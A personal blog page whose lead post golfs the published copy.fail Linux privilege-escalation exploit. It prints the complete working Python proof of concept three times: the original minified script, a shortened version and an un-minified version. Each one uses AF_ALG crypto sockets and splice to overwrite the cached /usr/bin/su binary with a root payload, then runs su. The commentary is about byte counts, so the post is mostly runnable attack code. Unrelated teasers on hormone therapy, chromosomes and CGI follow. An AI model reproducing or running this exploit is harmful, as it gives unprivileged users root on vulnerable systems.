Thea's Ramblings

copy.fail code golf

Edit: I was wrong on one part of the code, the try/except block. Works on my machine, but not in production on everyone else’s.

I’m sure we’ve all heard about copy.fail, the latest named Linux exploit. The researchers used an LLM-based tool to find the vulnerability, and even though I’m an LLM-skeptic in general this is certainly an area where they have real utility. It’s an excellent find and a real vulnerability.

However I was irked by their proof of concept script. To quote the copy.fail marketing site (let’s be honest, it’s a marketing site promoting their LLM tool) “The same 732-byte Python script roots every Linux distribution shipped since 2017”. This was a “minified” python script and they didn’t supply a non-minified version.

It’s easy to nit-pick that their script will fail on any non-x86 system, or any system which doesn’t have a standalone binary in /usr/bin/su, but let work on the size. Can we get it smaller? This script smells of LLM, so I bet we can. Will this also get me to set up syntax highlighting on my blog? Not tonight!

I will also add that I haven’t done any serious Python development since 2020.

Here’s their code:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Time to pick this apart, starting with the first line! This file is copy_fail_exp.py and their examples all show using python3 copy_fail_exp.py, so the shebang #!/usr/bin/env python3 isn’t needed. Bunch of bytes saved there!

Line three has this wonder def d(x):return bytes.fromhex(x). In Python functions are objects, so can be simply assigned to variables d=bytes.fromhex, even more savings.

Line four is fine, but def c(f,t,c): has c shadowed in the function body. Not an issue here because it isn’t called recursively, but poor form.

Then line five. It’s a long one, so having several issues isn’t that surprising given what we’ve seen. Firstly s.socket(38,5,0). The third argument in socket.socket has 0 as its default, so there’s no need for it. Two more bytes.

Scanning further along line five we see (h,4,b'\x08'+i*3),],32768). That comma before the close square bracket is redundant, free byte!

And n(f,w,o,offset_src=0) isn’t optimal. offset_src is used to skip setting offset_dst, but offset_dst defaults to None which is shorter, so n(f,w,o,None,0) is better given the byte count is what we’re after.

The rest looks fine, however there is one more thing that could have been optimised. Python has a specialised version of sendmsg specifically for AF_ALG sockets which would make this line much shorter, this was added in Python 3.6, released on Dec. 23, 2016. However Debian Stretch released in 2017 - the first year this exploit was shipped in the kernel - and only included Python 3.5. Given how Debian lags behind in general it may not be vulnerable but I’m not going to check. That statement would be rewritten as sendmsg_afalg(b"A"*4+c,i*4,b'\x10'+i*19,b'\x08'+i*3,32768) if that was used.

Edit: This next paragraph is wrong. Testing on my Alpine Linux 3.23 machine didn’t throw an exception, but it seems that there’s something wrong with AF_ALG sockets on that machine. Others report the try block is required.

Moving on, we have the try:u.recv(8+t) block. As of Python 3.5, which is the oldest Python I can find shipping in a 2017 distro, recv does not throw, Even if it did it doesn’t matter in this PoC script as it only used to throw on signal interrupts which aren’t handled anyway. That whole try can just be replaced with u.recv(8+t)

So after all that we’re at 666 684 bytes, 48 fewer than before! And if we use sendmsg_afalg we get down to 666, that’s 66 whole bytes! I’ve also been told that the payload isn’t optimal, but I’m not an ELF or assembly expert.

So here’s the final minified script (swap in sendmsg_afalg for the smallest version if you like). I also normalised the use of string quotes. Can this be smaller? Let me know on the socials!

import os as g,zlib,socket as s
d=bytes.fromhex
def c(f,t,c):
 a=s.socket(38,5);a.bind(('aead','authencesn(hmac(sha256),cbc(aes))'));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b'A'*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3)],32768);r,w=g.pipe();n=g.splice;n(f,w,o,None,0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open('/usr/bin/su',0);i=0;e=zlib.decompress(d('78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3'))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system('su')

Un-minification?

Wondering what the exploit would look like without any minification? Well that’s where I started! This is the expanded, reformatted, and slightly more pythonic version.

import os
import zlib
from socket import socket, AF_ALG, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, ALG_SET_KEY, SOCK_SEQPACKET, MSG_MORE, ALG_SET_IV, ALG_SET_OP, ALG_SET_AEAD_ASSOCLEN

null_bytes = bytes.fromhex('00')

def exploit(target_file, payload_index, data):
 sock = socket(AF_ALG, SOCK_SEQPACKET)
 sock.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 sock.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010'+'0'*64))
 sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)

 connection,_ = sock.accept()
 connection.sendmsg_afalg(b"AAAA"+data, null_bytes * 4, b'\x10' + (null_bytes * 19), b'\x08' + (null_bytes * 3), MSG_MORE)
 pipe_read, pipe_write = os.pipe()

 offset = payload_index + 4
 os.splice(target_file, pipe_write, offset, offset_src=0)
 os.splice(pipe_read, connection.fileno(), offset)

 connection.recv(8 + payload_index)

file = os.open("/usr/bin/su", os.O_RDONLY)
payload = zlib.decompress(bytes.fromhex("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

for index in range(0, len(payload), 4):
    exploit(file, index, payload[index:index+4])

os.system("su")

The evidence for oestrogen levels

When talking about progesterone doctors often refer to the lack of clinical evidence to support the use of progesterone, so let’s look at the evidence behind the target levels of oestrogen cited in many feminising hormone therapy guidelines. The latest PATHA guidelines say to keep below 750pmol/L but do not specify further.

Fortunately a group of researchers have recently published a systematic review of this, so I can cite their work instead of trying to obtain copies of articles!

Read more

How do anti-androgens work anyway?

Most people undergoing feminising hormone therapy will be taking an “anti-androgen” along with an oestrogen and possibly progesterone. The anti-androgen is a critical part of the hormone therapy as androgens block feminisation more than oestrogens promote it, so without an anti-androgen very little if any change would occur.

However there are several different medications used any they all work differently, so lets dig in to this and see how they actually reduce androgen levels. I’ll look at the three most commonly used in New Zealand - cyproterone acetate, spironolactone, and goserelin/Zolodex - and I’ll also add bicalutamide, progesteone and estrogen mono-therapy.

Read more

Progesterone is important!

In my last post about hormone gatekeeping I referenced an ongoing study on the effects of progesterone and oestrogen levels on feminisation in gender-affirming hormone therapy. While the full study report isn’t out yet some findings have been published publicly.

I’ll summarise the study protocol below, but the study has shown progesterone increases breast tissue volume and satisfaction with feminisation more than oestrogen alone does, and that increasing oestrogen levels also improves results.

Read more

Does estrogen give you breast cancer?

Those familiar with Betteridge’s law of headlines will be able to quickly answer this, but commonly held wisdom says that estrogen - whether endogenous, as part of any hormone replacement therapy, or as part of hormonal contraception, increases your risk of breast cancer.

This is distinct from the misinformation that’s commonly spouted with gender-affirming oestrogen HRT by comparing the risks of cancer with HRT against that of cis men, who notably do not have significant amounts of breast tissue to develop cancer in (it does happen, it’s just far less common).

These beliefs are used to dissuade people from getting or continuing menopausal HRT and also to restrict people on gender-affirming oestrogen therapy from obtaining appropriate levels of medication. So let’s dig in.

What’s commonly believed

Breast cancer is either the most common invasive cancer or the second most common after lung cancer, and as such it has had a lot of research. This research has firmly established that the majority of breast cancers are hormone-dependant, that is they require a hormone to grow, and nearly 80% of all breast cancers are oestrogen-receptor positive (ER+) and oestrogen is required for the cancer to grow1. The research is backed up in practice by using anti-oestrogen and oestrogen receptor modulation drugs to successfully halt tumour growth prior to surgery.

This appears to have lead to the oft-repeated assertion that exposure to increased levels of oestrogens increases your risk of breast cancer, which is associated with use of combined hormonal contraceptives and hormone replacement therapy whether gender affirming or menopausal.

However when looking for the research backing this up I found the statement repeated often but no papers actually showing this. There were some papers focussing on menopausal HRT that showed an increasing risk of breast cancer with duration of HRT compared to a non-HRT-using control group, but the association was very tenuous.

Then while researching this after hearing about another person denied an increase in HRT due to this supposed cancer connction I found a recent paper on this subject.

Read more

Why is Y (the chromosome)

I was listening to Sabrina Carpenter, as you do, and a some of the lyrics caught my brain. In Juno she sings

Whole package, babe, I like the way you fit
God bless your dad’s genetics

and then I read an article which isn’t worth referencing here, but it said (paraphrased)

You have 23 chromosomes, 22 pairs plus X and Y which aren’t a pair, but act like it in some specific circumstances

which jumped out to me because of the common viewpoint that “the Y chromosome contains all the ‘male’ genes”, which is just plain wrong.

Read more

This blog runs on CGI

I’m a month late to this internet debate, but life got in the way. But I finally got around to this after everyone’s forgotten!

This blog runs using CGI, and CGI is neither slow nor insecure. It might not be “webscale”, but you can do a lot of things without being webscale.

Read more

Breaking down hormone gatekeeping, again

I’ve recently been forwarded a document that the Victoria University of Wellington’s Mauri Ora Student Health clinic has been using to blanket deny their patients progesterone, even going as far as to forcibly discontinue the prescription from people already prescribed it.

I normally avoid doing a critique of a specific practice because there are many factors that go in to the decision to prescribe, but I was shocked that this practice would just invalidate a standing prescription without any evidence of harm. Not prescribing because of a lack of knowledge of the correct process or side effects is one thing - a doctor cannot provide informed consent if they themselves are not informed - but to remove an existing medication because they don’t like it is quite another. Imagine if a doctor refused to continue a contraceptive prescription because they had a personal belief against it? In certain circumstances doctors can refuse to prescribe due to personal beliefs, in which case they are required to refer you to someone who will.

So lets pick apart their reasoning to see if there’s anything behind it, because if progesterone is dangerous despite multiple sources saying it should be up to the patient I’d like to know, and I’m sure a lot of others would as well.

Read more

Breaking down hormone gatekeeping

The problem with having to get a doctor to prescribe gender-affirming hormone therapy is that doctors are trained to treat diseases. When you’re treating a disease you have a clearly defined goal - curing the disease, or minimising the suffering if it cannot be cured. This also extends to the scientific studies used to formulate treatment options, there is a clear and measurable definition of success. This is critical for normal patient care, doctors want to minimise the harm caused - and lets be clear, all medicines are harmful, just less harmful than what they’re treating - while maximising the effectiveness of the treatment.

This doesn’t work for gender-affirming care though. The effects you get from hormones depend a lot on your genetics and we don’t know enough about those to determine if a treatment is fully effective. In terms of M-F transition, we can’t establish if a certain breast size is the one genetically encoded, or if it has been restricted due to a lack of hormones. For those going F-M, is your voice fully deepened or has it stopped because of insufficient testosterone? Does the hormone level actually matter to either or is there just a threshold? We cannot design a study for this, especially given it would have to run for over 5 years to fully capture all the changes.

All of the uncertainty leads to doctors missing out on one half of the risk calculus - if you can’t tell what the target is you’re stuck with minimising the overall risk rather than balancing it against the effectiveness of treatment.

Now I’ll focus on one of the problems this causes

As always I’m looking at academic papers, so there will be medical language used some of which may be outdated.

Read more

Templating without templates - server-side includes

When you have more than a handful of pages on your site updating anything shared between them becomes tedious. Things like your site menu, a copyright footer if you have one, perhaps the default header and meta tags.

There were options. You could use a tool like Macromedia Dreamweaver, GoLive CyberStudio, HoTMetaL, or HotDog (one of New Zealand’s .com boom success stories!) to author all your HTML and copy the files you could use their built-in templating features, or copy/paste the changes.

If you weren’t rich enough to use those tools - they did cost quite a bit - you’d either have to roll your own using local scripts, or rely on server-side features.

The most obvious is PHP. This is one of the reasons PHP was created, PHP originally stood for Personal Home Page and was a CGI script. The original PHP syntax was very different to what ended up being PHP3, in fact it was very similar to what I’m about to use.

I’ve updated my website with all the pages, common elements brought to you by Server-side Includes!

Read more